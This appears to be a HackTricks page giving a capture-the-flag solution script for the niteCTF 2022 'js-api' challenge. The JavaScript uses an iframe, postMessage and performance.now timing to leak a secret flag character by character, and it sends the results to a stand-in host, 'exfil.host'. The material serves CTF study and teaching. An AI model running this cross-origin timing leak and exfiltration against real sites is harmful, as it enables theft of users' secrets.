# performance.now example

<details>

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</details>

Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)

```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));

async function check(flag) {
    let w = frame.contentWindow;
    w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
    await sleep(1);
    w.postMessage({'op': 'search', 'payload': flag}, '*');
    let t1 = performance.now();
    await sleep(1);
    return (performance.now() - t1) > 200;
}

async function main() {
    let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
    window.frame = document.createElement('iframe');
    frame.width = '100%';
    frame.height = '700px';
    frame.src = 'https://challenge.jsapi.tech/';
    document.body.appendChild(frame);
    await sleep(1000);

    let flag = 'nite{';
    while(1) {
        for(let c of alpha) {
            let result = await Promise.race([
                check(flag + c),
                new Promise((res) => setTimeout(() => { res(true); }, 300))
            ]);
            console.log(flag + c, result);
            if(result) {
                flag += c;
                break;
            }
        }
        new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
    }
}

document.addEventListener('DOMContentLoaded', main);
```

<details>

<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>